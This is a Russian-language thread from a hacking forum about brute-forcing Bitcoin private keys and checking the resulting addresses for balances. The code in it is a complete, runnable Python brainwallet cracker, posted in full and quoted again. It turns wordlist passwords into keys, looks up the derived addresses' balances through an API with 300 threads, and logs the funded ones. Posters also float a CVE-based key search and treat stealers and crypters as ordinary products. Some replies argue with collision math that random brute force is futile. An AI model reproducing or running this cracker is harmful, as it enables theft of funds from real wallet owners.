• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Создаем самый оптимальные генератор биткоин адресов с проверкой на баланс без API

сравнивать то с чем?
ТС предлагает сравнивать с адресами кошельков с балансом - но это бред из-за того что на одну сидку их бесконечно можно нагенерить. Публичные ключи видно в блок чейне? можно их спарсить и тогда сравнить сгенерированный публичный с ключами от кошельков с балансом. Тогда условно одна сидка = 1 ключ. Не подошла, берем следующую и предыдущая остается точноне валидной
Существует куча софтов для брута, причем низкоуровневых/нативных с использованием GPU и CPU: Mnemonic_C, BrainFlayer, BitCrack, VanitySearchPublicKey и до хрена других, не мы только одни тут умные :)
Все эти бруты и тд пишут из чисто спортивного интереса. Что бы наконец то народ убедился в бесполезности всех этих затей, приведу хоть какую то математически обоснованную (а не как тут одни слова и слюни) выдержку от авторов подобного софта: VanitySearchPublicKey
The bitcoin address (P2PKH) consists of a hash160 (displayed in Base58 format) which means that there are 2^160 possible addresses. A secure hash function can be seen as a pseudo number generator, it transforms a given message in a random number. In this case, a number (uniformaly distributed) in the range [0,2160]. So, the probability to hit a particular number after n tries is 1-(1-1/2^160)n. We perform n Bernoulli trials statistically independent.
If we have a list of m distinct addresses (m<=2^160), the search space is then reduced to 2^160/m, the probability to find a collision after 1 try becomes m/2^160 and the probability to find a collision after n tries becomes 1-(1-m/2^160)n.
An example:
We have a hardware capable of generating 1GKey/s and we have an input list of 10^6 addresses, the following table shows the probability of finding a collision after a certain amount of time:

Time
Probability​
1 second
6.8e-34​
1 minute
4e-32​
1 hour
2.4e-30​
1 day
5.9e-29​
1 year
2.1e-26​
10 years
2.1e-25​
1000 years
2.1e-23​
Age of earth
8.64e-17​
Age of universe
2.8e-16 (much less than winning at the lottery)​
 
Последнее редактирование:
Кто все таки захочет тратить время уже лучше генерьте на основе пассов) Прикола ради запустили на базе 8.1 Gb за 4 сутки что-то да и нашлось. Только это было года 3 назад)
поподробнее можно?)
 
поподробнее можно?)
Python:
from requests import get
import hashlib
import os
import ecdsa
import binascii
from threading import Thread, Lock
import concurrent.futures


def generate_private_key(password):
    return hashlib.sha256(password.encode()).hexdigest()

def private_key_to_public_key(private_key):
    private_key_bytes = bytes.fromhex(private_key)
    
    sk = ecdsa.SigningKey.from_string(private_key_bytes, curve=ecdsa.SECP256k1)
    vk = sk.get_verifying_key()
    
    return b'\x04' + vk.to_string()

def public_key_to_address(public_key):
    sha256 = hashlib.sha256(public_key).digest()
    
    ripemd160 = hashlib.new('ripemd160', sha256).digest()
    
    versioned_payload = b'\x00' + ripemd160
    
    checksum = hashlib.sha256(hashlib.sha256(versioned_payload).digest()).digest()[:4]
    
    binary_address = versioned_payload + checksum
    
    address = encode_base58(binary_address)
    
    return address

def encode_base58(b):
    alphabet = b'123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
    num = int.from_bytes(b, 'big')
    result = b''

    while num > 0:
        num, rem = divmod(num, 58)
        result = alphabet[rem:rem + 1] + result

    for byte in b:
        if byte == 0:
            result = alphabet[0:1] + result
        else:
            break

    return result.decode()

def get_balance_3xp(address: str) -> int:
    url = 'https://api.3xpl.com/bitcoin/address'
    params = {
        'data': 'balances',
        'from': 'bitcoin-main',
        'token': '3A0_t3st3xplor3rpub11cb3t4efcd21748a5e'
    }

    r: dict = get(f'{url}/{address}', params=params, timeout=10).json()
    assert 'Too many requests' not in str(r), 'Too many req'

    if not r['data']['balances']['bitcoin-main']:
        return 0

    return int(r['data']['balances']['bitcoin-main']['bitcoin']['balance'])


def get_balance_blockchain(address: str) -> int:
    while True:
        try:
            r = get(
                f'https://api.bitcoin-balance-api.com/v1/address/{address}?apikey=API_NO_LIMIT',
                timeout=10
            ).json()

            return int(r['balance'])
        except Exception:
            continue

class MultiTHR:
    def __init__(self) -> str:
        self.iter_l = Lock()
        self.write_l = Lock()
        self.its_out = False

        self.threads: int = 300
        self.wordlist_f: str = 'wordlist/big.txt'

        self.pwds_iter = self.pwd_itr()

    def pwd_itr(self) -> str:
        with open(self.wordlist_f, 'r', encoding='utf-8', errors='ignore') as passwords:
            for password in passwords:
                    yield password.strip()

        self.its_out = True

    def save_valid(self, data: str) -> None:
        with open('withbalance.txt', 'a', encoding='utf-8', errors='ignore') as valids:
            valids.write(data)

    def thread(self) -> None:
        while True:
            with self.iter_l:
                password = next(self.pwds_iter, None)

            if self.its_out:
                break

            private_key = generate_private_key(password)
            public_key = private_key_to_public_key(private_key)
            bitcoin_address = public_key_to_address(public_key)

            balance = get_balance_blockchain(bitcoin_address)

            if balance > 0:
                print('BALAANNNCEEEE'*60)
                with self.write_l:
                    self.save_valid(f'{password} -> {balance} sat\n')
            
            print(bitcoin_address, '-', balance, end='\r') #'\033c',

    def launch(self) -> None:
        with concurrent.futures.ThreadPoolExecutor(max_workers=self.threads) as executor:
            future_to_url = {executor.submit(self.thread): i for i in range(self.threads)}
            for future in concurrent.futures.as_completed(future_to_url):
                url = future_to_url[future]
                try:
                    future.result()
                except Exception as exc:
                    print('%r generated an exception: %s' % (url, exc))
                else:
                    print(url)


if __name__ == "__main__":
    ttt = MultiTHR()
    ttt.launch()
Едва нашёл семпл
Только если хотите использовать (хз зачем, это как небо тыкать) нужно попросить RedTeam чтобы он написал это на Go и будет в 1000 раз быстрее
 
Python:
from requests import get
import hashlib
import os
import ecdsa
import binascii
from threading import Thread, Lock
import concurrent.futures


def generate_private_key(password):
    return hashlib.sha256(password.encode()).hexdigest()

def private_key_to_public_key(private_key):
    private_key_bytes = bytes.fromhex(private_key)
   
    sk = ecdsa.SigningKey.from_string(private_key_bytes, curve=ecdsa.SECP256k1)
    vk = sk.get_verifying_key()
   
    return b'\x04' + vk.to_string()

def public_key_to_address(public_key):
    sha256 = hashlib.sha256(public_key).digest()
   
    ripemd160 = hashlib.new('ripemd160', sha256).digest()
   
    versioned_payload = b'\x00' + ripemd160
   
    checksum = hashlib.sha256(hashlib.sha256(versioned_payload).digest()).digest()[:4]
   
    binary_address = versioned_payload + checksum
   
    address = encode_base58(binary_address)
   
    return address

def encode_base58(b):
    alphabet = b'123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
    num = int.from_bytes(b, 'big')
    result = b''

    while num > 0:
        num, rem = divmod(num, 58)
        result = alphabet[rem:rem + 1] + result

    for byte in b:
        if byte == 0:
            result = alphabet[0:1] + result
        else:
            break

    return result.decode()

def get_balance_3xp(address: str) -> int:
    url = 'https://api.3xpl.com/bitcoin/address'
    params = {
        'data': 'balances',
        'from': 'bitcoin-main',
        'token': '3A0_t3st3xplor3rpub11cb3t4efcd21748a5e'
    }

    r: dict = get(f'{url}/{address}', params=params, timeout=10).json()
    assert 'Too many requests' not in str(r), 'Too many req'

    if not r['data']['balances']['bitcoin-main']:
        return 0

    return int(r['data']['balances']['bitcoin-main']['bitcoin']['balance'])


def get_balance_blockchain(address: str) -> int:
    while True:
        try:
            r = get(
                f'https://api.bitcoin-balance-api.com/v1/address/{address}?apikey=API_NO_LIMIT',
                timeout=10
            ).json()

            return int(r['balance'])
        except Exception:
            continue

class MultiTHR:
    def __init__(self) -> str:
        self.iter_l = Lock()
        self.write_l = Lock()
        self.its_out = False

        self.threads: int = 300
        self.wordlist_f: str = 'wordlist/big.txt'

        self.pwds_iter = self.pwd_itr()

    def pwd_itr(self) -> str:
        with open(self.wordlist_f, 'r', encoding='utf-8', errors='ignore') as passwords:
            for password in passwords:
                    yield password.strip()

        self.its_out = True

    def save_valid(self, data: str) -> None:
        with open('withbalance.txt', 'a', encoding='utf-8', errors='ignore') as valids:
            valids.write(data)

    def thread(self) -> None:
        while True:
            with self.iter_l:
                password = next(self.pwds_iter, None)

            if self.its_out:
                break

            private_key = generate_private_key(password)
            public_key = private_key_to_public_key(private_key)
            bitcoin_address = public_key_to_address(public_key)

            balance = get_balance_blockchain(bitcoin_address)

            if balance > 0:
                print('BALAANNNCEEEE'*60)
                with self.write_l:
                    self.save_valid(f'{password} -> {balance} sat\n')
           
            print(bitcoin_address, '-', balance, end='\r') #'\033c',

    def launch(self) -> None:
        with concurrent.futures.ThreadPoolExecutor(max_workers=self.threads) as executor:
            future_to_url = {executor.submit(self.thread): i for i in range(self.threads)}
            for future in concurrent.futures.as_completed(future_to_url):
                url = future_to_url[future]
                try:
                    future.result()
                except Exception as exc:
                    print('%r generated an exception: %s' % (url, exc))
                else:
                    print(url)


if __name__ == "__main__":
    ttt = MultiTHR()
    ttt.launch()
Едва нашёл семпл
Только если хотите использовать (хз зачем, это как небо тыкать) нужно попросить RedTeam чтобы он написал это на Go и будет в 1000 раз быстрее
Напиши статью об этом)
 
Можно поробовать перебирать на основе CVE-2023-39910
Я могу реализовать. По подробнее распишите ваши идеи и давайте реализуем
 
Я могу реализовать. По подробнее распишите ваши идеи и давайте реализуем
Вы просили я сделал. Теперь не генирирует биткоин адреса и не проверяет по биткоин адресам. Так как из 1 публичного ключа можно сделать дохера биткоин адресов.
Теперь проверяет на совпадение по публичным ключам. В следствие чего шанс увеличивается.
Так же в программе есть счетчик сгенерированных приватных ключей. Учтите, что на видео 1 сгенерированный ключ проверяется на совпадение с более чем 3кк публичных адресов.

1738493171454.png



Видео работы программы. Такое большое потому, что выбрал снимок только программы
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вы просили я сделал. Теперь не генирирует биткоин адреса и не проверяет по биткоин адресам. Так как из 1 публичного ключа можно сделать дохера биткоин адресов.
Теперь проверяет на совпадение по публичным ключам. В следствие чего шанс увеличивается.
Так же в программе есть счетчик сгенерированных приватных ключей. Учтите, что на видео 1 сгенерированный ключ проверяется на совпадение с более чем 3кк публичных адресов.




Видео работы программы. Такое большое потому, что выбрал снимок только программы
ахах, генератор биткоин ключей с проверкой баланса так и еще и по лицензий, ты это продавать собралься?) Ты как куча челов который тоже подобный софт продают, но на самом деле это просто схема развода
 
ахах, генератор биткоин ключей с проверкой баланса так и еще и по лицензий, ты это продавать собралься?) Ты как куча челов который тоже подобный софт продают, но на самом деле это просто схема развода
Это шаблон дизайна. Все программы от меня с данным дизайном. И основные функции такие как проверка лицензии и обновлений встроены в шаблон дизанй
 
ахах, генератор биткоин ключей с проверкой баланса так и еще и по лицензий, ты это продавать собралься?) Ты как куча челов который тоже подобный софт продают, но на самом деле это просто схема развода
Еще раз, софт бесплатный.
НО
Не вижу не чего плохого в продаже твое го труда. Пусть и тот же софт что и куча паблика. Но с твоими изменениями. И за разумную цену.
Ведь по сути те же крипторы майнеры стилеры одно и то же говно. И не чего, продают.
А если бы были авторские права на каждый софт, без права создавать аналоги. Сидели бы ща на первой версии стиллера и ждали пока автор изменит алгоритмы работы и добавит кражу крипто кошельков.
Поэтому все, что ты видишь на рынке когда то кем то уже сделано и копия подобного уже лежит в открытом доступе.
И разница только в том кто за сколько продает и какую тех поддержку оказываешь( то есть какой спект твоих услуг входит в эту сумму).
Кто то просит сотни долларов. Но лично я не продавал бы такое дороже 10-20$ и не потому, что не ценю свой труд, а потому, что знаю, что шанс того, что что-то совпадет маленький.
 
Последнее редактирование:
В следствие чего шанс увеличивается.
Шанс от чего? от бесконечности? :)
А публичный ключ это и есть кошелек, кстати. Вы тут в описании все перевернули к верх ногами публичный с приватным перепутали. Писали небось не зная матчасти, а только дизайн.
Никто такое без исходников ни то что покупать, даже использовать не будет. Ну в принципе хз, может на зеленке где-то кто-то из школьников (которые математику не учат), или больных на которое это "по" ориентировано.
Ну уж точно с таким сюда лезть не стоит.
 
Последнее редактирование:
Шанс от чего? от бесконечности? :)
А публичный ключ это и есть кошелек, кстати. Вы тут в описании все перевернули к верх ногами публичный с приватным перепутали. Писали небось не зная матчасти, а только дизайн.
Никто такое без исходников ни то что покупать, даже использовать не будет. Ну в принципе хз, может на зеленке где-то кто-то из школьников (которые математику не учат), или больных на которое это "по" ориентировано.
Ну уж точно с таким сюда лезть не стоит.
Я не чего не перевернул. Просто не стал все расписывать, а сразу написал про публичный ключ. Так как те кто немного понимают, что это такое понимают о чем идет речь, понятно что его получают из приватного.

Про запуск без исходника тут уж извините. Я не дам исходники. Мое творение, мне решать. Выдаю бесплатно, виртуалки и дэдики не кто не отменял, работает на процессоре, купи дэдик по мощнее и еще увеличь шанс. Как вы говорили такого говна и на гитхабе полно, вот и пользуйтесь им.
А по поводу, что не кто не запустит уже 3м выдал в личку, запускать на дэдике не кто не запрещал. Запросы отснифать если боишься, что я спижу гуд тоже не кто не мешает.
Если просто хочешь высказать свое мнение то давай без агрессии.
Я автор я так вижу, создай свой софт и пиши, что хочешь.
Думаю мы поняли друг друга
 
Я автор я так вижу
Ответь всего на один вопрос - если ты такой умный, то почему ты такой бедный? Дай угадаю твой следующий вопрос и сразу отвечу - с того, что люди с достаком не пишут фантастическую и абсолютно недостижимую дичь на конкурс награда за который более ощутима и более реальна, чем вероятность поиметь успех с этого вот всего, что ты написал тут. Публичные, приватные, люди, кони... ничего личного.
 
Ответь всего на один вопрос - если ты такой умный, то почему ты такой бедный? Дай угадаю твой следующий вопрос и сразу отвечу - с того, что люди с достаком не пишут фантастическую и абсолютно недостижимую дичь на конкурс награда за который более ощутима и более реальна, чем вероятность поиметь успех с этого вот всего, что ты написал тут. Публичные, приватные, люди, кони... ничего личного.
Вот читаю и не пойму, почему люди считают себя экспертами. И почему считают, что участие творческих людей в творческом конкурсе это только из за финансов. Даже отвечать не стоило. Но напомню, сколько людей столько и мнений. Пусть каждый останется при своем мнении..
Ведь вы все эксперты, но не видите что я писал о том, что моя программа не участвует в конкурсе. Так как статья в конкурсе это статья того кто участвует в конкурсе. А моя программа просто творение исходя из комментариев других таких же экспертов.
 
Ведь я не сказал, что программа 100% заработок, и я не продаю ее. Я лишь сказал, что я автор и я так вижу программу. Так скажи теперь, что сейчас тебя не устраивает?
 
Ответь всего на один вопрос - если ты такой умный, то почему ты такой бедный? Дай угадаю твой следующий вопрос и сразу отвечу - с того, что люди с достаком не пишут фантастическую и абсолютно недостижимую дичь на конкурс награда за который более ощутима и более реальна, чем вероятность поиметь успех с этого вот всего, что ты написал тут. Публичные, приватные, люди, кони... ничего личного.
И еще раз для закрепления. А то сообщения выше вы не читаете.
Я не автор данной сиатьи , моя программа не участвует в конкурсе. Я сделал ее исходя из пожеланий экспертов в комментариях
Я ее не продаю. Она бесплатная.
Я автор я так вижу.
Что теперь скажите про мою финансовую безграмотность?
И напомните, когда вы делали, что то бесплатное просто так???
 
"Без баланса" - он имел ввиду "без указания баланса", что там есть еще файл кошельков с указанием баланса на каждом.

Ты имеешь ввиду деривацию кошельков. Если это облегчит жизнь "халявоозабоченным", то есть такое исследование/документация по деривации каждого кошелька и не только: https://walletsrecovery.org/ (как видим есть и такие деревья по умолчанию m/84'/0'/2147483646', что сразу отобьет охоту что то подбирать).
Все эти рассуждения о взломе крипто кошельков имели бы смысл, если бы его вероятность была хотя бы как в игре в кости. Здесь же она практически стремится к абсолютному нулю.
PS: И если уж генерировать что то - то сразу приватный мастер - ключ, так как в теории все равно какая длина seed фразы, она сводится к мастер ключу 256 бит.
Ну кстати, желание у всех будет когда квантовые компьютеры будут доступны почти каждому, как никак но мир к этому стремиться
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх